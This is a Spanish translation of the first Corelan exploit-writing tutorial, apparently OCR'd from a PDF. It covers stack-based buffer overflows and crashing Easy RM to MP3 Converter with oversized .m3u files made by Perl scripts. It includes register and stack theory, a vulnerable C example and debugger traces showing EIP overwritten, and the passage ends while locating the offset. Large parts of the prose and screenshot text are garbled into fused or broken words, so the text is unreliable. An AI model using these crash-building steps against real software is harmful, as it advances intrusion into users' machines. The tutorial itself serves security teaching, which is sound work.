Creacion de Exploits por corelanc0d3r N° 1 traducido por Ivinson/CLS

Tutorial de creacion de Exploits parte 1.:
Stack Based Overflows o Desbordamiento de pila.

19 de julio de 2009. Por Corelan Team (corelang0d3r

El viernes pasado, 17 de julio de 2009, alguierdago ‘Crazy Hacker’ ha
reportado una vulnerabilidad ettp://www.rm-to-mp3.net/download.html
(en XP SP2), vipacketstormsecurity.org

(ver http://packetstormsecurity.org/0907-explgits/

El reporte incluy6é una prueba de exploit concdptahcual, fallé en MS
Virtual PC en XP SP3). Otro exploit fue publicadopoco después.

http://www.milwOrm.com/exploits/9186

iBuen trabajo. Tu puedes copiar el cédigo del Belexploit, correrla,
ver que no funciona (o si tienes suerte de repsende,0... 0 puedes tratar
de aprender el proceso de crear exploits para podesr exploits dafiados,
0 simplemente crear tus propios exploits desde cero

(Sin embargo: salvo que puedas desensamblar, leeomprender la
Shellcode muy rapido, nunca te aconsejaria singrigentomar un exploit
(especialmente si es un ejecutable pre-compiladoynerlo. ¢Qué tal si es
creado para abrir un Backdoor en tu PC?
http://es.wikipedia.org/wiki/Backdoor

La pregunta es: ¢ Como los Exploit Writers (Creaslale Exploits) crean
sus exploits? ¢COmo es el proceso de ir detectandwosible problema
hasta crear un verdadero exploit? ¢ Como puededausdormacion de la
vulnerabilidad para hacer tu propio exploit?

Desde que comencé este blog, escribiendo un tutedigico acerca de
escribir Buffer Overflows siempre ha estado enigtalde “deberes”, pero
realmente nunca tomé tiempo para hacerlo o simpiens® me olvidaba.

Cuando vi el reporte de vulnerabilidad hoy y leéah vistazo al exploit,
me di cuenta de que este reporte podria ser unpkjeperfecto para
explicar lo basico acerca de escritura de explag$a limpio, simple y me
permite demostrar algunas de las técnicas queasepasa escribir Buffer
Overflows basados en el stack. Asi que, quizassestein buen momento,
el reporte antes mencionado ya incluye un expfaiicjonal o no) adn
usaré la vulnerabilidad eftasy RM to MP3 conversion utility” como
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ejemplo y veremos las formas de hacer un explatitnal sin copiar nada
del exploit original. Lo construiremos desde cefo flaremos funcionar en
XP SP3.

Antes de continuar, permitanme aclarar algo, esteirdento es realizado
solamente para propoésitos educativos. No quiero magie use esta
informacion (o cualquier informacion de este blogara hackear

computadoras u otras cosas ilegales de las cualegrhago responsable.
Si no estéas de acuerdo, no debes seguir leyendo.

La clase de informacion que obtienes de reportesvueerabilidad
comunmente muestra lo basico de la misma. En aste el reporte dice lo
siguiente: El exploit de Buffer Overflow universal deasy RM to MP3
Converter version 2.7.3.700 que crea un archivo .m3u maltidsn otras
palabras, tU0 puedes crear un archivo .m3u maliciegpegarlo en la
utilidad y lanzar el exploit. Estos reportes puegde no sean especificos
todo el tiempo, pero en la mayoria de los casosigai¢éener la idea de
como simular un error o hacer que la aplicacioncifume de manera
extraia. Si no, entonces el investigador de seagirgliso develar sus
hallazgos al proveedor o darles la oportunidadregkar las cosas.

Antes de comenzar con la primera parte de (probsdree) una serie de
tutoriales acerca de creacion de exploits, he oresdforo de discusion
(solo miembros logueados) donde puedes hablareadeion de exploits,
hacer preguntas, etc. Puedes acceder al foro:
/index.php/forum/writing-exploits/

Verificando el Bug o error.

Descargar aplicaciéon: 2.84 MB
http://www.mediafire.com/?gb8qpaf9s2jv76u

1 KB

1]

RM2MP3IConverter.exe Properkie

la

o . RMZMP3Converker.exe

{ = "
| s g ) Easy RM o MP3 Converter General “Wersion | Compatibility | 5 ummar
! ‘,/ Mini-streann | P ‘UI _|,||
_ 1 —— File werzsion: 273700
w\ 1.0.1.8
| rnatine Descrption:  Easzy B to MP3 Converter

Copyright: Copyright [C] 2004

[tern narme: Walue:

|'I:Ither werzion information
- .. 1
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Nota rapida: puedes encontrar versiones mas vigaks aplicacion en:
oldapps.comy oldversion.como buscar en la seccion exploits en
exploit-db.com (A menudo tienen una copia local de la aplicacion
vulnerable también)

Usaremos el siguiente script sencillo de Perl
http://es.wikipedia.org/wiki/Perpara crear un archivo .m3u que pueda
ayudarnos a descubrir informacion acerca de laevabilidad.

my $file= "crash.m3u";

my $junk= "\x41" x 10000;
open($FILE,">$file");

print $FILE "$junk";

close($FILE);

print "Archivo m3u creado exitosamente\n";

Ejecuta el script para crear el archivo .m3u yedlemara con 10.000 A’s.
Ox41 es la representacion hexadecimal de la letréAl#fora, abre ese
archivo .m3u en Easy RM to MP3. La aplicacion lanmaerror, pero
parece que el error es manejado correctamentapli@acion no crashea.
Modifica el script para escribir 20.000 A’s e irteede nuevo. Lo mismao.
La excepcidn es manejada correctamente. Ahora eaehlsicript para que
escriba 30.000 A’s. Al abrir el archivo .m3u en\ER# to MP3, jBoom!
La aplicacion muered

OK. Asi que la aplicacion crashea cuando cargamosarghivo que
contenga entre 20.000 y 30.000 letras A. Pero ¢f@démos hacer con
esto?

Verificar el bug - y ver si puede ser interesante

Obviamente, no todas las aplicaciones crasheandoua® intenta
explotarlas. Un error de una aplicacion no llevana explotacion, pero
algunas veces, si. Con “Explotacién” quiero decie ¢p aplicacion haga
algo para lo cual no fue programada como ejecutgrapio cédigo. La
forma mas facil de hacer que una aplicacion haga dliferente es
controlando su flujo y redirigirlo a otra parte.t&sse puede hacer
controlando el Instruction Pointer o0 contador delrogpama.

http://es.wikipedia.org/wiki/Contador_de programa

El cual es un registro del CPU que contiene ungona donde esta la
instruccién que sera ejecutada. Imagina que unaaapin llama a una
funcidn con un parametro. Antes de ir a la funcigmarda la ubicacion
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actual en el contador del programa (Asi sabra delogtornar después que
la funcién termine) Si t0 puedes modificar el vaw este puntero y
redirigirlo a un lugar en memoria que contengarapj codigo, entonces
puedes cambiar el flujo de la aplicacidon y hacere ejecute algo
diferente. Otra cosa aparte de regresar a su arganal. El cédigo que tu
quieres ejecutar después de controlar el flujouredg veces es llamado
“ShellCode”. Asi que si hacemos que la aplicacigacige nuestra
ShellCode, podemos llamarlo un exploit funcional. I& mayoria de los
casos, este puntero es referenciado con el tefaiP@l cual es un registro
de 4 bytes. Si puedes modificar esos 4 bytes, uefatas de la aplicacion
y de la computadora en la cual corre.

Antes de continuar — Algo de teoria.

Solo algunos términos que necesitaras.

Cada aplicacion de Windows usa parte de la membaamemoria del
proceso contiene 3 componentes principales:

 Segmento de cddigo (Instrucciones que el procesgjdouta. EIP
mantiene el rastro de la siguiente instruccion)

« Segmentos de datos (variables, buffers dinamicos)

» Segmentos del Stack (usado para pasar datos/artps@funciones
y es usado como espacio para variables. El Stackeoaa (= al
final del Stack) desde el final de la memoria atty baja a una
direccion inferior) Un PUSH pone algo en la partpesior del
Stack, un POP quitara un item de 4 bytes del Stdokpone en el
registro.

Si quieres acceder a la memoria del Stack directEmeuedes usar
ESP (Puntero del Stack) el cual apunta a la pamgersr que es la
direcciébn mas baja del Stack o pila.

Después de un PUSH, ESP apuntara a una direcciémed®ria mas
baja (la direccion es decrementada con el tamaflosddatos que son
PUSHeados al Stack que son 4 bytes en caso deidires y punteros.
Los decrementos comiunmente suceden antes quemesé colocado
en el Stack. Dependiendo de la implementacion.SH ga apunta a la
proxima ubicacion libre en el Stack, el decrementoede después de
colocar datos en el Stack.)
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Cuando se introduce una funcion/sub-rutina, se uneasloque en el Stack.
Este bloque mantiene los parametros del procedimigadre juntos y es
usado para pasar argumentos a la subrutina. Laaidic actual, ESP,
puede ser accedida y la base actual de la funstarea EBP.

Los registros de propésitos generales del CPU detéh x86 son:
EAX: acumulador. Usado para céalculos y usado planacenar valores de
retorno de llamadas (CALL’S) a funciones. Las ogieres basicas tales

Como: sumar, restar y comparar usan este registro.

EBX: base. No tiene nada que ver con el puntere.lids tiene propdsito
general y puede ser usado para almacenar datos.

ECX: contador. Usado para iteraciones (loops)

EDX: datos. Esta es una extension de EAX. Permieubs mas
complejos como multiplicar, dividir permitiendo aoenar datos extras
para facilitar estos calculos.

ESP: puntero al Stack.

EBP: puntero base.

ESI: indice de origen. Guarda la ubicacion de &isside entrada.

EDI: indice de destino. Apunta a la ubicacion ad#oise almacena el
resultado de los datos de la operacion.

EIP: Instruction Pointer o contador del programa.

Memoria del Proceso

Cuando una aplicacion se ejecuta en un ambientwimg?2, se crea un
proceso y se le asigna memoria virtual. En un pode 32 bits, el rango
de direccion desde 0x00000000 hasta OxFFFFFFFFeddadx00000000
hasta Ox7FFFFFFF es asignado al usuario y de 08000 hasta
OxFFFFFFFF es asignado a Kernel. Windows usa eklnade memoria
Flat que significa que el CPU puede directamengéeuencialmente y
linealmente direccionar todas las ubicaciones dmana disponibles sin
usar un esquema de segmentacion y paginacion.

La memoria de Kernel es accedida solo por el SO.
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Cuando un proceso se crea, se crea también un BlBgué de Entorno
del Proceso) y un TEB (Bloque de Entorno de Hilo)

El PEB contiene todos los pardmetros de usuaricsqgueasociados con el
proceso actual:

» Ubicacion del ejecutable actual.

* Punteros a los datos del loader (puede ser usaddigtar todas las
DLL s/mddulos que son o pueden ser cargadas enoet$n)

» Puntero de la informacién acerca del Heap (Moraicul

http://es.wikipedia.org/wiki/Heap

El TEB describe el estado de un hilo e incluye:

» Ubicacion del PEB en memoria.

» Ubicacion del Stack para el hilo al cual pertenece.

* Puntero a la primera entrada a la cadena SEH (terdl 3 y 3b
para aprender acerca de lo que es una cadena SEH)
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Cada hilo dentro del proceso tiene un TEB.

El mapa de memoria del proceso Win32 luce asi:

Ox00000000

Limite Superior-»
del Stack

Ox00400000

Ox7FFDFOO0
Ox7 FFEQOOOQ
Ox7FFEI000

Ox7FFFFFEF

Stack o pila

heap o monticulo

Imagen del Programa

PE header
text (code)
.-rdata (imports)
data (data)
Isrc (resources)

DLL

DLL

(Bloques de datos de hilo
PEB principan) l

Shared user page

SIN ACCESO

Whumrgs 1T DO, T RN
T o faima

Cuando algo se PUSHea al

Stack, el puntero del Stack

se decrementa.

Tam. del Stack: Allocacion arreglada.

El Heap se decrementa a la
direccion mas alta

Espacio de memoria, puede ser allocado
como heap, o el Stack para otros hilos
en el proceso, etc.

Las DLL"s tienen un segmento de
header, .text,.data y .reloc

Tramsiated by Ivinson



Creacion de Exploits por corelanc0d3r N° 1 traducido por Ivinson/CLS

El segmento de texto de la imagen de un programa#3lde solo lectura
como solamente contiene el cédigo de la aplicadiSie previene que las
personas modifiquen el codigo de la aplicacione Bsgmento de memoria
tiene un tamafno arreglado. El segmento de datasaseara almacenar las
variables globales y estéaticas del programa. Eisetp de datos se usa
para variables globales inicializadas, cadenaexte,ty otras constantes.
El segmento de datos es de escritura y tiene umaf@narreglado. El
segmento del heap se usa para le resto de lableardel programa. Puede
aumentarse o achicarse como se desee. Toda la rmeemorel heap o
monticulo es manejado por algoritmos allocadorefesallocadores. Una
region de memoria es reservada para estos algstitEloheap crecera
hacia direcciones mas altas. En una DLL, el codigportaciones (lista de
funciones usadas por la DLL de otra DLL o aplicagiyg exportaciones
(funciones que lo hacen disponibles para otragapbtines de DLL"S) son
parte del segmento .text.

El Stack

El Stack o Pila es una parte de memoria del prodesana estructura que
funciona asi U.E.P.S (Ultimo en Entrar, Primero Salir) El Stack es

allocado por el SO. Por cada hilo (cuando el lslereado) Cuando el hilo
termina, el Stack también se limpia. El tamafio 8&lck es definido

cuando es creado y no se cambia. Combinado corP|3.5. el hecho de
gue no requiere mecanismos 0 estructura de maan)plejos, el Stack es
muy rapido, pero limitado en tamafio.

U.E.P.S significa que los datos colocados mas mtamigente (resultado de
una instruccion PUSH) es la primera que sera qaitkd Stack de nuevo.
(Por una instruccion POP)

El Stack contiene variables locales, llamadas aifumes (CALL’S) y otra
informacion que no necesita ser almacenada porcanadad de tiempo
mas grande.

Cada vez que una funcion es llamada, los paramd&da funcién son
PUSHeados al Stack, también como los valores gdasdde los registros
EBP y EIP. Cuando una funcion retorna, el valoEtk es recuperado del
Stack y puesto de nuevo en EIP. Asi que el flujonab de la aplicacion
puede ser continuado.
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Usemos pocas lineas de codigo simple demostrangda@rtamiento:

#i ncl ude <string. h>

voi d hacer _al go(char *Buffer)

{
char MyVar|[ 128];
strcpy(MyVar, Buffer);

main (int argc, char **argv)

hacer _al go(argv[1]);

Puedes compilar ese codigo con DevC++ 4.9.9.2 doeam nuevo

proyecto de consola win32. Usa C como lenguaje €+, pega el cédigo
y compilalo. Yo le puse el nombre al proyectéeriebaDeStack.eke

Ejecutalo y no deberia retornar nada. Da errofjeslugarlo, pero solo es
para analisis en Olly.

Esta aplicacion toma un argumento argv[l] y pasargumento a la
funcidon hacer_algo() En esa funciéon, el argumento es copiado en una
variable local que tiene un maximo de 128 bytesolaes, si el argumento
es mas largo de 127 (mas un byte NULL donde tertaitsiring) el buffer
puede ser desbordado.

Cuando la funciérhacer_algo(paraml3¥ea llamada dentro del main(),
sucederan las siguientes cosas:

Se creara un nuevo bloque de Stack encima del Stacke’. El puntero
del Stack, ESP, apunta a la direccion mas alta Stack creado
recientemente. Este es el tope del Stack.
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LR

<Nuevo Marco del Stack=

ESP
[TEPE del SIHE]{::I—:-

(hFFFFEFFF

Antes de quéacer_algo(sea llamada, se PUSHea un argumento al Stack.
En nuestro caso, este es un puntero a argv[1].

Lo cargamos en Olly y vamos a Debug/Arguments yil@ams AAAA.
Luego en la commandbar ponemos un BP en la ARdystsi:

Commands (BF Stropy z
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Ctrl+F2, luego presionamos F9 y al parar vemogaks

Se ve claramente que la API es llamada de 4012EQddmos Enter y
caemos en:

55 |PUSH EBP
89E} MOU EBP,ESP
81E{ SUB ESP,98
8B4! HOU EAX,DWORD PTR SS:[EBP+8]
8944 HOU ﬁHﬁHﬁ PTR 55:[ESP+4] ,EAX

BD8Y LEA EAX,DWORD PTR SS:[EBP-88]
898{ MOU DWORD PTR SS:[ESP],.EAX

ES JCALL <JHP.&msucri.strcpy>

cC9 ;LERUE

C3 [RETH

Y despues del RETN, esta un PUSH EBP. PongamodBPuneiniciamos
con Ctrl+F2 y damos F9, luego trazamos con F8 HHx822:

# Registers (FPU)

JWORD PTR SS:[EBP-4],EAX|
| DU Eh! ,DUORD PTR S3:[EBP-4] ;
SPimisit MOV DWORD PTR. SS:[ESP].EAX
. 0848185C | Pone el puntero al argumento en el Stack.
D PTR SS:[EBF+C]

HOU EA 3 00401325 CALL PruebaDe.004012D0
896{HOU DUORD PTR SS SLBpone EIP en el Stack y salta a la funcién.
ES {CALL PruebaDe.Bo4612D0

E8 |CALL <JWP.&msvcrt.getchar>

B8 (HOU ERX,8

CO |LEAUE

c3 | RETH

SCII "AAAA™)
4B]=884817E8 (Pruebale.BBLB17ER)
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Stack después de la instruccion MOV:

B8] MOV EAX,DUORD PTR DS:[EAX]
) MOU DWORD PTR S3:[ESP].EAX
| CALL PruebaDe.B884812D8
| CALL <.JMP.E&msucrt.getchar?

Address Hex dumg IHS1ﬁ

Luego, la funciénhacer_algo()es llamada. La funcibn CALL pondra
primero el puntero de la instruccién actual en tekks (asi sabe a donde
retornar si la funcion termina) y luego saltaréa@ligo de la funcion.

Trazamos la CALL con F7 y vemos el Stack:

Como es un resultado de PUSH, ESP decrementa 4 pydpunta a una
direccién mas baja.

ESP
Tope de Stack) -»

ETP guardado |

ptr hacia argv(1] I

OxFFFFFFFF
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ESP apunta a 0022FF3C. En esta direccion, venteiPajuardado (Return
to...) Seqguido por un puntero al parametro (AAAA ateeejemplo) Este
puntero fue guardado en el Stack antes de quecataja el CALL.

Luego, la funcion préloga se ejecuta. Esto basioéenguarda el puntero
del blogue (ESP) en el Stack. Entonces, puede estaurado también
cuando la funcion retorne. La funcién para guamlabloque es PUSH
EBP. EBP es decrementado de nuevo con 4 bytes.

D00000000
ESP
(Tope del Stack)>
EBP guardado
EIP guardado
pir hacia argv[1]
(WFFFFFFFF

Siguiendo el PUSH EBP, el puntero del Stack actE&P) se pone en
EBP. En este punto, ambos EBP y ESP apuntan atiE#tack actual. De
ahi en adelante, el Stack sera comiunmente refatknpior ESP (tope del
Stack todo el tiempo) y EBP (puntero base del Ssatkal) De esta forma,
la aplicacion puede hacer referencias a variabdasmdo un Offset para
EBP.

La mayoria de las funciones comienzan con estageu
PUSH EBP seguido de MOV EBP, ESP.
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Entonces, si PUSHeas otros 4 bytes al Stack, E&Rrdentara de nuevo y
EBP se quedaria donde estaba. Podrias hacer mfererestos 4 bytes
usando: EBP-0x8.

Ahora, podemos ver como el espacio del Stack pavariable MyVar(128
bytes) es declarado/allocado. Para guardar los dat@lloca (asigna) algo
de espacio para guardarlos en esta variable. ESIecesmentada por un
numero de bytes. Este nimero de bytes probablensendemas de 128
bytes a causa de una rutina de allocacion detadaipor el compilador.

En este caso de DevC++. Esta es de 0x98 bytesquesiveras una
instruccién asi: SUB ESP, 0x98. De esa forma, habpacio disponible
para esta variable.

CrmeCHEADAOO000
ESP
(Tope del stack) ->
<Espacio para MyVar>
EBP
(Puntero del ->
B Ln) EBP guardado
EIP guardado
pir para argv[1]
OwFFFFFFFF
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¢, Recuerdas cuando pusimos el BP en strcpy y dinies @n el Stack para
caer en la siguiente zona? Ahi esta el 98.

5 |PUSH EBP

B9EY MOU EBP,ESP

81E{ SUB ESFP .98

8B4Y MOU EAX,DWORD PTR SS:[EBP+8
894 MOU DWORD PTR SS:[ES F+4IFEHﬁ

BD8Y LEA EAX,DWORD PTR SS:[I
898/ MOU DWORD PTR SS:[ES P]

ES JCALL <JHP.&msvcrt. 5trcpy;
cC9 ;LEﬁUE

C3 |RETH

No te preocupes mucho por este cédigo. Puededaranente la funcion
PUSH EBP y MOV EBP, ESP. Puedes ver también doedie ssigna
espacio a la variable MyVar con SUB ESP, 98. Y pgecer algunos MOV
y LEA que basicamente configuran los parametrodad@Pl strcpy
tomando un puntero de argv[l] y usandola para calaitos desde ella en
MyVar. Si no hubiera un strcpy () en esta funci@funcion terminaria y
descuadraria el Stack. Basicamente, volveria ar@®8E en la ubicacion
donde EIP estaba guardado y luego ejecuta un RE'RET en este caso,
recogeria el puntero de EIP guardado en el Stackgadtar a el. (De esta
manera, regresara a la funcién principal despuégudéacer_algo(sea
llamada) La instruccion LEAVE restaurara EIP y ahfero del marco o
bloque.

En mi ejemplo, tenemos una funcion strcpy (). Esteidn leera datos de
la direccion apuntada por el [buffer] y la almagénan <Espacio para
MyVar> leyendo todos los datos hasta ver un byt INYTerminador de

string) Mientras copia los datos, ESP se quedaalesth. El strcpy () no
usa instrucciones PUSH para poner datos en el SBaskcamente, lee un
byte y lo escribe en el Stack usando un indice epmplo:ESP, ESP+1,

ESP+2, etc. Aun después de copiar, ESP apuntecial de la string.
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Crar OO0
ESP
(Tope del stack) ->
strepy()
AT escribe
R A asi.
EBP i
(Puntero del -»
) EBP guardado
EIP guardado
ptr para argv[1]
OuFFFFFFFF

Significa que si los datos en el [buffer] de algumanera son mas largos
gue 0x98 hytes, el strcpy () sobrescribira el EBRrdado y eventualmente
el EIP guardado y asi sucesivamente. Después degolb continGa para

leer y escribir hasta que consigue un byte NULlaenbicacion de origen.

(En caso de un string)

CreDOOO0000
ESP
(Tope del stack) -»
AAAA
AAAA
EBP i
(Puntero del ->

fifen) EBPguardade AAAA

strepy()
FPguardado. AAAA escribe

asi.
pirpasaargvil] aaaa

OFEFFFFFF
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ESP aun apunta al inicio de la String. El strcpgdinpleta como si no
pasara nada. Después de strcpy (), la funcion nerm¥ aqui es donde
comienza lo bueno. La funcion epiloga entra en gudgasicamente,
movera ESP a la ubicacion donde estaba el EIP gdard ejecutara un
RET. Tomara el puntero (AAAA 0 0x41414141 en nuestaso desde que
se sobrescribe) y saltara a esa direccion. Entppaeontrolas EIP.

Controlando EIP, cambias la direccion de retorn@v@cando un
desbordamiento de buffer. Ya no es un flujo normal.

Entonces, imagina que puedes sobrescribir el baffétyVar, EBP, EIP y
tienes A’s (tu propio cédigo) en el area antesspdés del EIP guardado.
Piensa en eso. Después de enviar el buffer ([MyEBR]EIP][tu
cbdigo]), ESP apuntara o deberia apuntar al irdeidtu cédigo], por lo
tanto podras hacer que EIP vaya a tu cédigo. Teralréontrol.

Nota: cuando un buffer en el Stack se desbordausse el termino
“Desbordamiento de buffer” que en inglés se denaniistack based
overflow" o "stack buffer overflow". Cuando estaatando de escribir
después del final del bloque del Stack, se usérelino “Stack overflow”
no confundas los 2 términos que son completameieiedtes.

El depurador

Para ver el estado del Stack, y el valor de losstreg tales como el

contador de programa, (Instruction Pointer) etcesgamos un depurador
para esta aplicacion, asi podremos ver que suasateda la aplicacion

corre y especialmente cuando muere. Hay muchosatmes disponibles
para este proposito. Los 2 que uso mas a menuddsndbg

http://www.google.co.velurl?sa=t&rct=j&q=windbg+8.0001.404&sourc
e=web&cd=1&ved=0CFQQFjAA&url=http%3A%2F%2Fmsd|.misioft.c
om%2Fdownload%2Fsymbols%2Fdebuggers%2Fdbg x86 16404 msi
&ei=6VQYUJgWIY2c8qgT8jYE4&usq=AFQjCNGDL-
dliaHNOeu6cNmLUXnlEYZLRw

E Immunity Debuggeittp://debugger.immunityinc.com/ID_reqister.py

Usemos Windbg. Usa la opcion Full install y regilstrcomo depurador
Postmortem usando “windbg -1”
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= IC WIS antiom ) enstlne

i Program FlleasDabidggimg Iaals for Wim

@ Y R(EAFER | DFGED S BREEO

WinDbeg:6. 1 106001404 X086 _39

“‘il) WinDibg was successfully instaliad a5 the def sult postmortem debuager.

También, puedes deshabilitar el mensaje: “xxxx t@etrado un error y
necesita cerrarse” configurando la siguiente cthaleegistro a cero:

HKLM\Software\Microsoft\Windows NT\CurrentVersiong®ebug\Auto

4 Registry Editor

File Edit Wiew Favorites Help

(] Windows Media Player N5« | | Mame Type | Data

-] Windows Messaging Subs; | [ab]rpefault) REG_SZ {value not set)

E|{“_‘| Windows MT [aB]auta REG_SZ 1

ED Currentiersion [ab]pebugger REG_SZ drwksn3Z -p %ld -& %ld -g
- Accessibilty [@]UserDebuggertn...  REG_DWORD 0x00000000 (0)
{23 AeDebug -

i - Asr

{:l Classes W alue name:

(] Compatibilicy =

il | _,I_I |Auto

|My ComputeriHKEY_LOCAL_MACHIMNEVSOFT'WARE MicrosoftiWindows MTYCurrentWersiontAeDebug W alue data:

[i
_ .

Para evitar que Windbg se queje mostrando: Archil®ssimbolos no
encontrados “Symbol Files not Found”, crea un e@@n tu disco duro
por ejemplo: C:\Mis Symbol Files, entonces en Wmdahs a File/Symbol
File Path y pega lo siguiente:

SRV*C:\windbgsymbols*http://msdl.microsoft.com/dolwad/symbols

No pongas una linea vacia después de esta stisegUfate de que ésta sea
la Unica en el campo de direcciéon de simbolos.
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Si quieres, puedes usar Immunity Debugger en ee¥Vthdbg, instala
Immunity Debugger y dale a Options-Just in Time wiging y clic en
Make Immunity Debugger Just in Time Debugger.

Bueno, empecemos

Ejecuta Easy RM to MP3 y luego abre el archivelen@3u. La aplicacion
dara error. Si has deshabilitado los mensajesrde &indbg o Immunity
Debugger se ejecutara automaticamente. Si aparecgensaje, da clic al
boton “debug” y el depurador se ejecutara.

Captura de Windbg:

Command - Pid 3492 - WinDbg:6.11.0001.404 X86

o]

HodLoad: 01bl0000 01fddoon Program Files~Easzy EM to HP3 Converter~MSEMCcodec0Zz dll
Modload: 01f=0000 01££1000 CowUINDOWS~systend 2~MSYCIRT . d1l

Hodload: 77120000 771ab0O0n STIHDOWS~sy=ten3 2~0LEATTIZ d11

HodLoad: 02200000 02Z21e000 Program Files~Easy EM to MP3 Converter“wnatimer dll
ModLload: 73000000 73026000 T IHDOWS~swstend 2~WINSPOOL . DRV

ModLoad: 02240000 02250000 wProgram Files~Ea=sv EM to MP3 Converter~MSEMf{ilter0Z . dll
HodLoad: 02460000 02472000 ~Program Files~Easy EM to HP3 Converter~MSLog.dll
ModLoad: 76e=0000 76flcz000 CTTIHDOWS~systemd2~REASAPTIZ d11

ModLoad: 7690000 7esaZ000 SWIRDOWS asystemd 2 rasman . dll

Modload: Sb8e0000 ShELEOOO CTIHDOWS~sy=temd 2~HETAFT3Z2 d11

Hodload: 76eb0000 FeedfOon CWTIHDOWS~systend2~TAPTIZ2 d11

HodLoad: 76=80000 76=8=000 SWIRDOWS systend2~rtutils dll

Modload: 7690000 Y&a74000 CSTIHDOWS~sy=ten3 2~ISERENY 411

HodLoad: 7Z22b0000 72Zb5000 ST IHDOWS~systenld 2 ~=en=api  dll

HodLoad: 71a50000 71a8f000 SWIHDOWS - Systend 2 nawsock . dll

ModLoad: 77c70000 77c94000 STIRDOWS ~szystemd 2 ~mevl_0.d11

Hodload: 76de0000 76479000 CWTIHDOWS~sy=stem32~iphlpapi . d11

HodLoad: 76fc0000 76fce000 CTTIHDOWS~systemd2~raszadhlp . d11

ModLoad: 78130000 723257000 CSWIRDOWS aystem3 2 ~urlnon . dll

Hodload: 7efZ0000 7af47000 STIHDOWS~sy=tem3 2~DHSAFT d11

HodLoad: 662b0000 66308000 CWTIHDOWS~systemd2~hnetcfg . dll

HodLoad: 71290000 71292000 OSWIRDOWS - Systemd2 ~wshtopip.dll

ModLoad: 77b40000 77be2000 SWINDOWS systen32~appHelp . dll

Hodload: 76fd0000 7704£000 ST IHDOWS~sy=temd 2~CLBCATG DIL

ModLload: 77050000 ¥7115000 S TIHDOWS~systend2~COHRes . d11

Modload: 77920000 77213000 T IHDOWS . system3 2~SETUFAFT . d11

HodLoad: S5ad?0000 Sada8000 ST IHDOWS~systend 2 IxzThens . d11

HodLoad: 76990000 769b5000 ST IHDOWS~systemd2~nt=hrui dll

Modload: 7ebZ0000 Y6b31000 SWINDOWS wsystem3 2~ATL  DLL

Hodload: 77280000 77b1lE5000 STIHDOWS~sy=temd 2~CREYPT32 dll

Hodload: 77bz0000 77b3Z0O00 CWTIHDOWS~systemd 2~HSASHT d11

Modload: 76c30000 Y6cte000 T IHDOWS~systend 2~WINTRUST . d11

Modload: 7690000 YechiE0O00 OTIHDOWS~sy=ten3 2~ IHAGEHLF d11

Hodload: 71bZ0000 71b3Z0O00 SWINDOWSwsystem32-HPR . d11

HodLoad: 02{£90000 02fal000 Program Files~Virtual Machine Additions mrvpconp.dll
HodLoad: &7000000 67012000 SSTIHDOWS S systemd 2 wnsrve . dll

HodLoad: 75f60000 75£f67000 ST IHDOWS~Systend 2 drprov . dl1

HodLoad: 71c10000 71cle000 ST THDOWS-Sy=temd2~nt lanmnan . d11

Modload: 71ed0000 7lce?000 ST IHDOWS~System3 2~HETUIO . d11

Hodload: 71e90000 Y1lcd0000 STIHDOWS~Sy=ten32~HETUI1 d11

Hodload: 71e80000 7187000 CWTIHDOWS~Sy=tend 2~HETRAF . d11

ModLload: 71bf0000 7103000 W TIHDOWS~Systen32~SAHMLIE . d11

ModLoad: 75f£70000 75£7a000 SWINDOWSSSysten3d 2 dawvclnt . dll

Modload: 75970000 75a68000 ST IHDOWS~system3 2~HSGIHA d11

ModLload: 74320000 74354000 W TIHDOWS~swstend2~CDBC32 . d11

Modload: 76360000 ¥6370000 W TIHDOWS~system3 2~WINSTA . d11

HodLoad: 03040000 0307000 SWTIHDOWS~systend 2 ~odboint  dll

(dad . 878): Access wviolation - code 0000005 (11l second chance [11)
=ax=00000001 =bx=00104258 =cx=Yc91005d =d==00000040 esi=7Y7chfcel =di=00007530
eip=41414141 e=p=000££730 ebp=003440c0 iopl=0 nv up i pl nz na pe nc
c==001b ===0023 d==0023 e==0023 f==003b g==0000 efl=00000206
Miz=sing image name, possible paged-out or corrupt data.

Mis=ing image name, possible paged-out or corrupt data.

Hi==ing image name, possible paged-out or corrupt data.
<Inloaded_na . dll:+0x41414130:

41414141 7?7 e

slelislislalinistslsinlslisialisiatalialisislialisiatslalislisialialislalalialislslialislialalaliatatal el Ne]




Creacion de Exploits por corelanc0d3r N° 1 traducido por Ivinson/CLS

Captura de Immunity:

< Immunity Debugger - RMZMP3Conyerter.exe
Fie View Debug Immiib Options Window Help Jobs

O TE xr M HH s 1 emtwhcPkbzr..

CPU - main thread

21:02.02] Access violation when executing [41414141] Juse ShiteF7/F8/F3 to pass exceplion to progiam

Esta GUI muestra la misma informacion, pero en fon@a mas gréfica.
En la esquina superior izquierda tienes la vistaGlJ que muestra las
instrucciones en ensamblador y sus opcodes. Esaneeasta vacia porque
EIP apunta a 41414141 que es la representacionéeraal de AAAA.

Una nota rapida antes de seguir: En Intel x86dil@xciones se almacenan
en Little-Endian es decir, al revés. Las AAAA quaas viendo son en
realidad AAAA.© O si tu enviaste al buffer ABCD, EIP deberia apuat
44434241 o sea, DCBA.

Parece que parte de nuestro archivo .m3u fue xidal buffer y causo el
desbordamiento. Hemos podido desbordar el buffeesgribir en el
contador del programa (Instruction Pointer). As¢ g@demos controlar el
valor de EIP. En otras palabras, si queremos g&c#g0os en sobrescribir
EIP para poder asignarle datos utiles y hacerltarsal nuestro codigo
malicioso, necesitamos saber la posicion exactauestro buffer/payload
donde sobrescribimos la direccion de retorno, k& sa convertira en EIP
cuando la funcién retorne. Esta posicién a menede Bama “Offset”.
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Determinando el tamafo del buffer para escribir
exactamente en EIP

Sabemos que EIP se encuentra entre 20000 y 300@3 lesde el

principio del buffer. Ahora, tu podrias potenciahtee sobrescribir todo el
espacio de memoria entre 20000 y 30000 bytes cafirdacion que tu

guieras para sobrescribir EIP. Esto puede funcjgmeno se ve mejor Si
puedes encontrar la ubicacion exacta para hacephbeeescritura. Para
determinar el Offset exacto de EIP en nuestro bufiecesitamos hacer un
trabajo adicional.

Primero, tratemos de reducir la ubicacién cambiamdpoco nuestro script
de Perl:

Cortemos las cosas por la mitad. Crearemos unvaraiie contenga
25000 A’s y otro 5000 B’s. Si EIP contiene 414140AAA), EIP estaria
entre 20000 y 25000. Si EIP contiene 42424242 (BBBEP estaria entre
25000 y 30000.

my $file= "crash25000.m3u";

my $junk = "\x41" x 25000;

my $junk2 = "\x42" x 5000;
open($FILE,">$file");

print $FILE $junk.$junk2;

close($FILE);

print "Archivo m3u creado exitosamente\n";

Crea el archivo y abre crash25000.m3u en Easy RWF3.

